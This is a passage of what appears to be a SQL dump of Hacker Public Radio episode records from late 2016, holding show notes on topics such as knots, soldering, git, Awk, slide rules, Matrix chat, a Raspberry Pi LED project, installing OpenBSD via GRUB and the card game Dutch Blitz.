(2160,'2016-11-11','An Audio Illustration Tying the Bowline Knot',343,'David Whitman attempts an audio illustration of how to tie the bowline knot.','<p>The following is partial copy from Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Bowline\" class=\"uri\">https://en.wikipedia.org/wiki/Bowline</a></p>\r\n<p>&quot;The bowline (/&#x2c8;bo&#x28a;l&#x26a;n/ or /&#x2c8;bo&#x28a;la&#x26a;n/)[1] is an ancient and simple knot used to form a fixed loop at the end of a rope. It has the virtues of being both easy to tie and untie; most notably, it is easy to untie after being subjected to a load. The bowline is sometimes referred as King of the knots because of its importance. It is one of the four basic maritime knots (the other three are figure-eight knot, reef knot and clove hitch).</p>\r\n<p>The structure of the bowline is identical to that of the sheet bend, except the bowline forms a loop in one rope and the sheet bend joins two ropes. Along with the sheet bend and the clove hitch, the bowline is often considered one of the most essential knots.[2]</p>\r\n<p>Although generally considered a reliable knot, its main deficiencies are a tendency to work loose when not under load, to slip when pulled sideways[3] and the bight portion of the knot to capsize in certain circumstances.[citation needed] To address these shortcomings, a number of more secure variations of the bowline have been developed for use in safety-critical applications&quot;.</p>\r\n',209,0,1,'CC-BY-SA','Knots, CLasoo, Bowline',0,0,1),
(2161,'2016-11-14','What\'s in my freezer?',246,'Inscius talks about the food stored in his freezer.','<p>A short true tale of what I store in my (small) freezer, mid-October 2016. It is also the first time I record a podcast with a portable recorder.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Blueberry\">&quot;American blueberry&quot;</a> <a href=\"https://en.wikipedia.org/wiki/Bilberry\">&quot;European blueberry&quot; a.k.a. &quot;Bilberry&quot;</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Green_bean\">Haricot vert a.k.a. green beans</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Chard\">Mangold/Chard</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Blackcurrant\">Blackcurrant</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Vicia_faba\">Broad beans</a></p>\r\n',283,0,0,'CC-BY-SA','food, storage, seasonal, garden',0,0,1),
(2185,'2016-12-16','Soldering a Soldering Fan',309,'Practising soldering skills by hacking together a soldering extraction fan.','<p>\r\nIn the episodes <a href=\"https://hackerpublicradio.org/eps.php?id=1037\">hpr1037 :: Soldering Part 1</a> and <a href=\"https://hackerpublicradio.org/eps.php?id=1047\">hpr1047 :: Soldering Part 2: An audio demonstration of soldering</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a> inspired me to get into soldering. It\'s easy and if audio isn\'t your thing there is always the <a href=\"https://mightyohm.com/blog/2011/04/soldering-is-easy-comic-book/\" target=\"_blank\">SOLDERING IS EASY</a> complete comic book.\r\n</p>\r\n<p>\r\nFor my first project, I soldered a 12v power supply I got for €0 at the recycle shop, to a 12V fan from my old computer tower.\r\n</p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2185.jpg\" alt=\"a ugly solder point\" />\r\n<p>\r\nThe result a ugly solder joint, but a working project.\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=Nb78wF1Tkwc\">Great Scott What is worth desoldering from old electronics? || DIY Fume Extractor</a></li>\r\n<li><a href=\"https://www.youtube.com/user/bigclivedotcom\">Big Clive Youtube Channel</a></li>\r\n\r\n</ul>',30,0,0,'CC-BY-SA','soldering',0,0,1),
(2162,'2016-11-15','Review/Criticism of Hipp\'s \"Git: Just Say No\"',1272,'In which I take an IRC rant to audio and look at what\'s really wrong with git.','<h1 id=\"reviewcriticism-of-hipps-git-just-say-no\">Review/Criticism of Hipp\'s &quot;Git: Just Say No&quot;</h1>\r\n<p>I was recommended <a href=\"https://www.youtube.com/watch?v=ghtpJnrdgbo\">Richard Hipp – Git: Just Say No (youtube.com)</a> last night on the excellent #oggcastplanet channel on freenode.</p>\r\n<p>I didn\'t listen to all of it, but I\'m putting this out there with the material I have, because anything else would be procrastination and this is HPR. We Want Shows!</p>\r\n<p>Here are his criticisms, or suggested enhancements, top 10:</p>\r\n<ol type=\"1\">\r\n<li>Show descendants of a check-in</li>\r\n<li>Simplified mental model</li>\r\n<li>Remember branch history</li>\r\n<li>Multiple check-outs from the same repo</li>\r\n<li>Sliced check-out and clones</li>\r\n<li>Check-out &amp; commit against a remote repo</li>\r\n<li>&quot;Busybox&quot; version of git</li>\r\n<li>All comms via HTTP/HTTPS</li>\r\n<li>&quot;git all&quot; command</li>\r\n<li>&quot;git serve&quot; command</li>\r\n</ol>\r\n<p>I think the killer of these is #2, the rest are nitpicks or incorrect. And for addressing #2 there is the very interesting <em>gitless</em> report and project, which I\'m guessing doesn\'t abandon git entirely, just reworks the UI, which <em>does</em> need rework. Not for people like me, who already learned the nooks and crannies and make productive use of several of what might be misfeatures, but to lower the threshold for people coming to our software projects and whatever other source code we are managing.</p>\r\n<p>TL;DL:</p>\r\n<ol type=\"1\">\r\n<li>Why? Complete <code>git log</code> and <code>less</code> does the job, even for the oldest git project – git.</li>\r\n<li>YES, see <em>gitless</em>.</li>\r\n<li>Why?</li>\r\n<li>Already works.</li>\r\n<li>Presumably already works, don\'t know how well.</li>\r\n<li>Why?</li>\r\n<li>(Didn\'t listen) Why?</li>\r\n<li>(Didn\'t listen) Why? It has HTTP/HTTPS, but it also has the ssh model, which is great.</li>\r\n<li>Didn\'t listen.</li>\r\n<li>(Didn\'t listen) <code>git serve</code> sucks, use <a href=\"https://gogs.io/\">gogs</a>.</li>\r\n</ol>\r\n<h2 id=\"fodder-for-further-episodes\">Fodder for further episodes</h2>\r\n<ul>\r\n<li>I\'m connecting to <a href=\"https://freenode.org/\">freenode</a> through <a href=\"https://matrix.org/\">Matrix</a> using <a href=\"https://riot.im/\">Riot</a>, both on web and mobile.</li>\r\n<li>Is Matrix a big fat <a href=\"https://wiki.c2.com/?NotInventedHere\">NIH</a>? (hey look, WikiWikiWeb is back online!)</li>\r\n<li>Why not just use <a href=\"https://xmpp.org/\">XMPP</a>?</li>\r\n<li>It works great for me, and I didn\'t have to bother setting up a native IRC bouncer like <a href=\"https://znc.in/\">ZNC</a> or <a href=\"https://quassel-irc.org/\">Quassel</a>.</li>\r\n<li>The quick-quick version: Just go to <a href=\"https://riot.im/app/#/room/#freenode_#oggcastplanet:matrix.org\">#freenode_#oggcastplanet:matrix.org</a> and you\'re in the best IRC web chat available, in the #oggcastplanet channel on freenode.</li>\r\n<li><a href=\"https://gitless.com/\">gitless</a> (or <code>gl</code>)</li>\r\n<li><a href=\"https://www.fossil-scm.org/\">Fossil</a></li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','git, fossil, rant',0,0,1),
(2163,'2016-11-16','Gnu Awk - Part 4',1869,'Recapping the last episode and looking at variables in an Awk program','<h1 id=\"gnu-awk---part-4\">Gnu Awk - Part 4</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the fourth episode of the series that <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and I are doing. These shows are now collected under the series title “<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>”.</p>\r\n<h2 id=\"recap-of-the-last-episode\">Recap of the last episode</h2>\r\n<h3 id=\"logical-operators\">Logical Operators</h3>\r\n<p>We have seen the operators ‘<b>&amp;&amp;</b>’ (<em>and</em>) and ‘<b>||</b>’ (<em>or</em>). These are also called <em>Boolean Operators</em>. There is also one more operator ‘<b>!</b>’ (<em>not</em>) which we haven’t yet encountered. These operators allow the construction of <em>Boolean expressions</em> which may be quite complex.</p>\r\n<p>If you are used to programming you will expect these operators to have a precedence, just like operators in arithmetic do. We will deal with this subject in more detail later since it is relevant not only in patterns but also in other parts of an Awk program.</p>\r\n<h3 id=\"the-next-statement\">The <em>next</em> statement</h3>\r\n<p>We saw this statement in the last episode and learned that it causes the processing of the current input record to stop. No more patterns are tested against this record and no more actions in the current rule are executed. Note that “<em>next</em>” is a statement like “<em>print</em>”, and can only occur in the action part of a rule. It is also not permitted in <em>BEGIN</em> or <em>END</em> rules (more of which anon).</p>\r\n<h3 id=\"the-begin-and-end-rules\">The <em>BEGIN</em> and <em>END</em> rules</h3>\r\n<p>The <em>BEGIN</em> and <em>END</em> elements are special <em>patterns</em>, which in conjunction with <em>actions</em> enclosed in curly brackets make up <em>rules</em> in the same sense that the ‘<em>pattern {action}</em>’ sequences we have seen so far are rules. As we saw in the last episode, <em>BEGIN</em> rules are run before the main ‘<em>pattern {action}</em>’ rules are processed and the input file is (or files are) read, whereas <em>END</em> rules run after the input files have been processed.</p>\r\n<p>It is permitted to write more than one <em>BEGIN</em> rule and more than one <em>END</em> rule. These are just concatenated together in the order they are encountered by Awk.</p>\r\n<p>Awk will complain if either <em>BEGIN</em> or <em>END</em> is not followed by an <em>action</em> since this is meaningless.</p>\r\n<h3 id=\"variables-arrays-loops-etc\">Variables, arrays, loops, etc</h3>\r\n<p>Learning a programming language is never a linear process, and sometimes reference is made to new features that have not yet been explained. A number of new features were mentioned in passing in the last episode, and we will look at these in more detail in this episode.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a moderately long set of notes for this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2163/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2163/full_shownotes.html</a>.</p>\r\n<p>With a view to making portable notes for this series I have included ePub and PDF versions with this episode. Feedback is welcome to help decide which version is preferable, as are any suggestions on the improvement of the layout.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>GNU Awk User’s Guide</em>: <a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\" class=\"uri\">https://www.gnu.org/software/gawk/manual/html_node/index.html</a></li>\r\n<li>Previous shows on HPR:\r\n<ul>\r\n<li>“<em>Gnu Awk - Part 1</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=2114\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2114</a></li>\r\n<li>“<em>Gnu Awk - Part 2</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=2129\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2129</a></li>\r\n<li>“<em>Gnu Awk - Part 3</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=2143\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2143</a></li>\r\n</ul></li>\r\n<li>Arithmetic expansion in Bash “<em>Some additional Bash Tips</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=1951\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1951</a></li>\r\n<li>Resources:\r\n<ul>\r\n<li>ePub version of notes: <a href=\"https://hackerpublicradio.org/eps/hpr2163_full_shownotes.epub\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2163_full_shownotes.epub</a></li>\r\n<li>PDF version of notes: <a href=\"https://hackerpublicradio.org/eps/hpr2163_full_shownotes.pdf\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2163_full_shownotes.pdf</a></li>\r\n<li>Demonstration of arithmetic assignment operators: <a href=\"https://hackerpublicradio.org/eps/hpr2163/arithmetic_assignment_operators.awk\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2163/arithmetic_assignment_operators.awk</a></li>\r\n<li>Counting frequencies of particular colours: <a href=\"https://hackerpublicradio.org/eps/hpr2163/color_count.awk\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2163/color_count.awk</a></li>\r\n</ul></li>\r\n</ul>',225,94,1,'CC-BY-SA','Awk utility, Awk language, gawk,variables',0,0,1),
(2166,'2016-11-21','How to use a Slide Rule',887,'By popular request, a description of how a slide rule works','<h1 id=\"how-to-use-a-slide-rule\">How to use a Slide Rule</h1>\r\n<p>In my show <a href=\"https://hackerpublicradio.org/eps.php?id=1664\" title=\"Life and Times of a Geek part 1\">1664</a>, “Life and Times of a Geek part 1”, I spoke about using a slide rule as a schoolboy. As a consequence, I was asked if I would do a show on slide rules, and this is it (after a rather long delay).</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a moderately long set of notes for this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2166/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2166/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR show “<em>Life and Times of a Geek part 1</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=1664\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1664</a></li>\r\n<li>Wikipedia article on the slide rule: <a href=\"https://en.wikipedia.org/wiki/Slide_rule\" class=\"uri\">https://en.wikipedia.org/wiki/Slide_rule</a></li>\r\n<li>International Slide Rule Museum: <a href=\"https://sliderulemuseum.com/SR_Course.htm\" class=\"uri\">https://sliderulemuseum.com/SR_Course.htm</a></li>\r\n<li>Wikipedia article on the <em>Logarithm</em>: <a href=\"https://en.wikipedia.org/wiki/Logarithm\" class=\"uri\">https://en.wikipedia.org/wiki/Logarithm</a></li>\r\n<li>Wikipedia article on the <em>Mathematical table</em>: <a href=\"https://en.wikipedia.org/wiki/Mathematical_table\" class=\"uri\">https://en.wikipedia.org/wiki/Mathematical_table</a></li>\r\n<li>wikiHow article on how to use a Logarithm Table: <a href=\"https://www.wikihow.com/Use-Logarithmic-Tables\" class=\"uri\">https://www.wikihow.com/Use-Logarithmic-Tables</a></li>\r\n<li>Wikipedia article on <em>John Napier</em>: <a href=\"https://en.wikipedia.org/wiki/John_Napier\" class=\"uri\">https://en.wikipedia.org/wiki/John_Napier</a></li>\r\n<li>Wikipedia article on <em>Merchiston Tower</em>: <a href=\"https://en.wikipedia.org/wiki/Merchiston_Tower\" class=\"uri\">https://en.wikipedia.org/wiki/Merchiston_Tower</a></li>\r\n<li>Wikipedia article on <em>Edinburgh Napier University</em>: <a href=\"https://en.wikipedia.org/wiki/Edinburgh_Napier_University\" class=\"uri\">https://en.wikipedia.org/wiki/Edinburgh_Napier_University</a></li>\r\n<li>The <em>Faber Castell 1/60/360</em>:\r\n<ul>\r\n<li><a href=\"https://sliderulemuseum.com/isrm/hmd/fc%20slide%20rule%20pages/fc%2025%201-60-360/fc%2025%201-60-360.htm\">Example 1</a></li>\r\n<li><a href=\"https://sliderules.lovett.com/fabercastell1-60/fabercastell1-60.htm\">Example 2</a></li>\r\n<li><a href=\"https://fabercastell.reglasdecalculo.com/1_60_360/1_60_360.html\">Example 3</a></li>\r\n<li><a href=\"https://www.countbelmiro.com/slides/faber/360/360.html#160360_1\">Example 4</a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','slide rule,logarithm,slipstick,analogue computer',0,0,1),
(2165,'2016-11-18','Get the most out of your commute with these great audio suggestions.',2156,'Knightwise talks about ways to stay entertained during your commute to work by listening to podcasts','<ul>\r\n<li>History\r\n</li>\r\n<li>Listening to podcasts\r\n</li>\r\n<li>Good Podcatchers <a href=\"https://www.tomsguide.com/us/pictures-story/555-best-podcast-apps.html\">https://www.tomsguide.com/us/pictures-story/555-best-podcast-apps.html</a>\r\n</li>\r\n<li>Listening to audiobooks with Mortplayer <a href=\"https://play.google.com/store/apps/details?id=de.stohelit.folderplayer&amp;hl=en\">https://play.google.com/store/apps/details?id=de.stohelit.folderplayer&amp;hl=en</a>\r\n</li>\r\n<li>Free online courses \r\n</li>\r\n<li>Kahn academy <a href=\"https://www.khanacademy.org/\">https://www.khanacademy.org/</a>\r\n</li>\r\n<li>Itunes U <a href=\"https://itunes.apple.com/be/app/itunes-u/id490217893?mt=8\">https://itunes.apple.com/be/app/itunes-u/id490217893?mt=8</a>\r\n</li>\r\n<li>tts with Pocket <a href=\"https://getpocket.com/\">https://getpocket.com/</a>\r\n</li>\r\n<li>TTS on the mac <a href=\"https://osxdaily.com/2010/03/28/how-to-make-your-mac-talk-text-to-speech/\">https://osxdaily.com/2010/03/28/how-to-make-your-mac-talk-text-to-speech/</a>\r\n</li>\r\n<li>TTS on Linux <a href=\"https://www.youtube.com/watch?v=4uKTamXonPs\">https://www.youtube.com/watch?v=4uKTamXonPs</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe knightwise.com podcast : <a href=\"https://feeds.feedburner.com/feedburner/knightcast\">https://feeds.feedburner.com/feedburner/knightcast</a>\r\n</p>',111,0,1,'CC-BY-SA','podcast,podcatcher,online course',0,0,1),
(2169,'2016-11-24','How I connect to the awesome #oggcastplanet on mobile',795,'I give a quick overview of the challenges of IRC on the go and how Riot and Matrix solve them for me','<p>On <a href=\"https://hackerpublicradio.org/eps.php?id=2162\">HPR #2162</a> I mentioned that I\'m connecting to freenode IRC using <a href=\"https://riot.im/\">Riot</a> and <a href=\"https://matrix.org/\">Matrix</a>. Here I explain a bit of background to why, what Matrix is, and why you should use it too.</p>\r\n<h3 id=\"quick-quick-version\">Quick-quick version</h3>\r\n<p>Just go to <a href=\"https://riot.im/app/#/room/#freenode_#oggcastplanet:matrix.org\" class=\"uri\">https://riot.im/app/#/room/#freenode_#oggcastplanet:matrix.org</a>, click <em>Join</em> and you\'re on the channel! If you register a user there (or maybe on another instance, like <a href=\"https://social.heldscal.la/lambadalambda\">@lambadalambda\'s</a> <a href=\"https://matrix.heldscal.la/\" class=\"uri\">https://matrix.heldscal.la/</a>), you can then log in with the same username and password in the Android app and see all your joined channels there.</p>\r\n<p>Correction to audio: <strong>Riot is on F-Droid</strong>. For some reason I couldn\'t find it at the time, even though <a href=\"https://f-droid.org/repository/browse/?fdfilter=riot&amp;fdid=im.vector.alpha\">it\'s clearly there</a>, so I\'m currently using the version from the Google Play Store. I hear that battery use may be an issue if you\'re independent from the evil GOOG.</p>\r\n<h3 id=\"alternatives\">Alternatives</h3>\r\n<p>Other ways of connecting to IRC over flaky or intermittent connections without losing context:</p>\r\n<ul>\r\n<li><a href=\"https://znc.in/\">ZNC</a></li>\r\n<li>In particular, check out this <a href=\"https://dague.net/2014/09/13/my-irc-proxy-setup/\">pretty elaborate ZNC-on-ZNC setup</a> to solve the issue with having multiple devices that all want an independent scrollback buffer. I was just about considering setting up something like this when I discovered the Matrix bridge instead.</li>\r\n<li>One colleague of mine uses <a href=\"https://quassel-irc.org/\">Quassel</a> and loves it.</li>\r\n<li>Another colleague uses <a href=\"https://f-droid.org/repository/browse/?fdfilter=irc&amp;fdid=org.woltage.irssiconnectbot\">irssi ConnectBot</a> or something similar and can\'t understand why anybody would want anything else.</li>\r\n</ul>\r\n<h3 id=\"criticism\">Criticism</h3>\r\n<ul>\r\n<li><a href=\"https://identi.ca/mray/note/eMjlxfjETtSFOwnKHBgD3Q\">Matrix is a big fat NIH, why not just use XMPP?</a> (short pump.io discussion)</li>\r\n</ul>\r\n<h3 id=\"fodder-for-further-hpr-episodes\">Fodder for further HPR episodes</h3>\r\n<ul>\r\n<li><a href=\"https://microca.st/clacke/comment/l11mIRDiQWikamj6hvp1wA\">Man there are a lot of Slack alternatives out there</a>. (pump.io post)</li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','matrix, irc, federation, mobile, im',0,0,1),
(2171,'2016-11-28','hello world',227,'this first HPR podcast is to introduce myself and what I am about.','<p>I love programming, I make a living writing free software. However I am still a programmer without a keyboard. I want to share knowledge that gives us control over our own life. Tools that help us help ourselves.</p>\r\n<p>Two main topics:</p>\r\n<ol start=\"0\" type=\"1\">\r\n<li>computers (of course!)\r\n<ul>\r\n<li>everyday user</li>\r\n<li>free software</li>\r\n<li>programming</li>\r\n</ul></li>\r\n<li>AFK stuff\r\n<ul>\r\n<li>veganism,</li>\r\n<li>minimalism,</li>\r\n<li>botany,</li>\r\n<li>engineering.</li>\r\n</ul></li>\r\n</ol>\r\n<p>Lots of fun, life is interesting</p>\r\n<p>happy hacking</p>\r\n',344,0,0,'CC-BY-SA','introduction',0,0,1),
(2173,'2016-11-30','Driving a Blinkt! as an IoT device',2349,'I have a Raspberry Pi Zero with a Blinkt! 8-LED array I\'m setting up as a notification device','<h1 id=\"driving-a-blinkt-as-an-iot-device\">Driving a Blinkt! as an IoT device</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I managed to buy a Raspberry Pi Zero when they first came out in December 2015. This was not easy since they were very scarce. I also bought a first-generation case from <a href=\"https://shop.pimoroni.com/\" title=\"Pimoroni Ltd\">Pimoroni</a> and some 40-pin headers. With the Zero this header is not pre-installed and it’s necessary to solder it onto the Pi yourself.</p>\r\n<p>I have had various project ideas for this Pi Zero, but had not decided on one until recently. Within the last month or two Pimoroni produced a device called the <a href=\"https://shop.pimoroni.com/products/blinkt\" title=\"Blinkt!\"><em>Blinkt!</em></a> which has eight APA102 RGB LEDs and attaches to the GPIO header. This costs £5, just a little more than the Zero itself.</p>\r\n<p>My plan was to combine the two and turn them into a status indicator for various things going on that needed my attention.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a moderately long set of notes for this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2173/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2173/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.org/products/pi-zero/\">Raspberry Pi Zero</a></li>\r\n<li><a href=\"https://shop.pimoroni.com/\">Pimoroni Ltd</a></li>\r\n<li><a href=\"https://shop.pimoroni.com/products/blinkt\">The <em>Blinkt!</em> add-on from Pimoroni</a></li>\r\n<li><a href=\"https://learn.pimoroni.com/tutorial/sandyj/getting-started-with-blinkt\">Pimoroni’s documentation “<em>Getting Started with Blinkt!</em>”</a></li>\r\n<li><a href=\"https://github.com/pimoroni/blinkt\">The GitHub repository for <em>Blinkt!</em></a></li>\r\n<li><a href=\"https://www.ikea.com/gb/en/catalog/products/70078335/#/40214202\">The <em>RIBBA</em> picture frame from IKEA</a></li>\r\n<li><a href=\"https://inkscape.org/en/\"><em>Inkscape</em> vector graphics editor</a></li>\r\n<li><em>MQTT</em> (<em>Message Queuing Telemetry Transport</em>):\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/MQTT\">Wikipedia article on <em>MQTT</em></a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern\">Wikipedia article on the <em>Publish-subscribe pattern</em></a></li>\r\n</ul></li>\r\n<li><a href=\"https://github.com/arvydas/blinkstick-python/wiki/Example%3A-MQTT\"><em>BlinkStick</em> MQTT page</a></li>\r\n<li><a href=\"https://addons.mozilla.org/en-GB/thunderbird/addon/mailbox-alert/\"><em>Mailbox Alert</em> add-on for <em>Thunderbird</em></a></li>\r\n<li><a href=\"https://www.jezra.net/blog/orb\">Jezra’s Orb project</a></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2173/blinkt_legends.svg\">My Inkscape template “<code>blinkt_legends.svg</code>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2173/blinkt_client.py\">My first primitive listener script “<code>blinkt_client.py</code>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2173/cronjob_comments\">My cron script for checking comments “<code>cronjob_comments</code>”</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','Raspberry Pi,Blinkt!,BlinkStick,MQTT,Mosquitto',0,0,1),
(2167,'2016-11-22','Google It',1150,'Discussing some of the successes Google has had despite people thinking Google is failing','<p>Discussing some of Google\'s successes. Lately I have been hearing a lot of flak towards Google and how they are doing everything wrong. So I go down a list of some of their success stories. Disagree? Email me.</p>',346,0,1,'CC-BY-SA','Google,Chrome, Android, Chromecast, tech, computers',0,0,1),
(2175,'2016-12-02','Kdenlive Part 4 Colour Correction',1100,'A review of the Kdenlive colour correction suite','<p>Hello again HPR listeners this is Geddes back with Part 4 in the series covering the video editing application KdenLive. This time round we’ll be looking at colour correction which covers the following topics:</p>\r\n<ul>\r\n<li>Workflow</li>\r\n<li>The human element</li>\r\n<li>Luma values</li>\r\n<li>Levels</li>\r\n<li>Colours</li>\r\n<li>Things that look broken</li>\r\n<li>Saturation</li>\r\n<li>Copying values between clips</li>\r\n<li>Colour Effects</li>\r\n<li>Selective colour correction and rotoscoping</li>\r\n</ul>\r\n<p>Here’s the link to the <a href=\"https://opensource.com/life/11/11/kdenlive-part-4-colour-correction\">original article.</a></p>\r\n',310,0,0,'CC-BY-SA','Kdenlive,opensource.com,colour correction',0,0,1),
(2177,'2016-12-06','Knowledge Interconnection, the thai express hack',424,'learn things that empowers you and interconnects with other of your knowledge','<p>you can practice programming AFK, and hacking at the same time; doing problem solving on other things can be quite fun; and can seriously enhance your life;</p>\r\n<p>happy hacking;</p>\r\n',344,0,1,'CC-BY-SA','vegan food, recycling, hacking',0,0,1),
(2181,'2016-12-12','Install OpenBSD from Linux using Grub',501,'Install OpenBSD from Linux using Grub','<h3 id=\"install-openbsd-from-linux-using-grub\">Install OpenBSD from Linux using Grub</h3>\r\n<h3 id=\"why-openbsd\">Why OpenBSD</h3>\r\n<p>Tune in for another episode.</p>\r\n<h3 id=\"why-install-from-linux\">Why install from linux</h3>\r\n<ul>\r\n<li>Most VPS providers have images for linux, but not OpenBSD</li>\r\n<li>Easier than trying to upload custom image or iso.</li>\r\n</ul>\r\n<h3 id=\"grub2\">Grub2</h3>\r\n<ul>\r\n<li>Start with a distro that uses grub2. I use Centos7</li>\r\n<li>grub2 can load OpenBSD kernels.</li>\r\n<li>The openbsd installer is a OpenBSD kernel.</li>\r\n</ul>\r\n<h3 id=\"procedure\">Procedure</h3>\r\n<ol type=\"1\">\r\n<li>Make sure you have console access to the linux VM</li>\r\n<li>Record the Network info for the running linux VM. If not using DHCP, you will need to know the IP, netmask, default route (gateway), and a DNS server.</li>\r\n<li><p>Download the OpenBSD installation ram disk to <code>/boot</code></p>\r\n<pre><code>cd /boot\r\nwget https://ftp5.usa.openbsd.org/pub/OpenBSD/6.0/amd64/bsd.rd</code></pre></li>\r\n<li>Reboot</li>\r\n<li>Enter the grub command prompt by pressing <code>c</code> at the grub menu</li>\r\n<li>The grub2 prompt has tab completion which can be helpful.</li>\r\n<li>Type <code>ls</code> to see the available disks</li>\r\n<li><p>Load the OpenBSD installation ram disk and boot</p>\r\n<pre><code>grub&gt; set root=(hd0,msdos1)\r\ngrub&gt; kopenbsd /bsd.rd\r\ngrub&gt; boot</code></pre></li>\r\n</ol>\r\n<h3 id=\"the-installation\">The Installation</h3>\r\n<ul>\r\n<li>The Installer will ask you several questions</li>\r\n<li>The default is almost always what you want. If unsure, just press enter.</li>\r\n<li>Look at the <a href=\"https://www.openbsd.org/faq/faq4.html\">FAQ</a> if you get stuck</li>\r\n<li>Enter the network settings of the linux VPS</li>\r\n<li>When asked &quot;Location of sets&quot;, use HTTP</li>\r\n</ul>\r\n',342,0,0,'CC-BY-SA','OpenBSD,grub2,install',0,0,1),
(2188,'2016-12-21','Art Appreciation',315,'Some thoughts on art appreciation','<p>\r\nA nod to Brian in Ohio...\r\n</p>\r\n<p>\r\nElements Of Design...\r\n</p>\r\n<p>\r\nA mention of Dr. Don Bendel...\r\n</p>\r\n<p>\r\nA note on artist statements...\r\n</p>\r\n<p>\r\nMy cup example is very much stimulated by Pete Pinnell...\r\n</p>\r\n<p>\r\nCheck out his short talk on cups.\r\n</p>\r\n<p>\r\n<a href=\"https://www.youtube.com/watch?v=WChFMMzLHVs\">https://www.youtube.com/watch?v=WChFMMzLHVs</a>\r\n</p>\r\n<p>\r\n(though I wish It were elsewhere besides youtube)\r\n</p>',329,0,1,'CC-BY-SA','art',0,0,1),
(2172,'2016-11-29','Dutch Blitz Table Top Game',1548,'Steve describes the game of Dutch Blitz.','<h2><a id=\"Dutch_Blitz_Tabletop_Game_0\"></a>Dutch Blitz Tabletop Game</h2>\r\n<h3><a id=\"Origin_2\"></a>Origin</h3>\r\n<p>Dutch Blitz was created by Werner Ernst George Muller, from\r\nPennsylvania, in the United States, in 1959. It is similar to the game\r\nNertz, which is played with standard playing cards. Nertz had been\r\naround since the 1940s. It isn’t totally clear to what extent Mr\r\nMuller was influenced by the game of Nertz. He was an optometrist and\r\nit is said that he thought the game might help his children learn\r\nabout colors and numbers.</p>\r\n<h3><a id=\"Theme_12\"></a>Theme</h3>\r\n<p>The game has a theme that originates with the Pennsylvania Dutch\r\nculture, which was formed by early German immigrants to eastern\r\nPennsylvania in the United States. The symbols used on the cards are\r\nrepresentative of that culture, which tended to be agricultural and of\r\na conservative protestant Christian faith.</p>\r\n<h3><a id=\"Cards_20\"></a>Cards</h3>\r\n<p>Each player has their own deck of cards. The standard set has 4 decks,\r\nso it can accommodate 2-4 players. There is an extension pack that adds\r\n4 more decks, supporting 4 more players. Each deck has 40 cards made\r\nup of number cards from 1 through 10 in four different colors (suits):\r\nred, blue, green, and yellow. Additionally, the red and blue cards\r\nhave a picture of a boy and the green and yellow cards have a picture\r\nof a girl. The decks are differentiated from each other by a symbol on\r\nthe back side of each card. The four standard decks have the following\r\nsymbols: pump, buggy, plow, and bucket.</p>\r\n<h3><a id=\"Piles_32\"></a>Piles</h3>\r\n<ul>\r\n<li>\r\n<p>Blitz Pile - A pile of 10 cards that are dealt by each player before\r\ngame play starts. One of the goals is for the player to get rid of\r\ntheir Blitz pile. When one player clears their Blitz pile, the round\r\nis over.</p>\r\n</li>\r\n<li>\r\n<p>Post Piles - Three piles of cards to the left of the Blitz pile that\r\nare used by the player to help sort through cards during the game\r\nplay. These piles begin as 3 cards dealt out by the player before\r\ngame play. Cards can then be added to these piles in descending order\r\nand alternating “gender”. If one of the Post piles is cleared, the\r\nplayer may take a card off of their Blitz pile to start a new 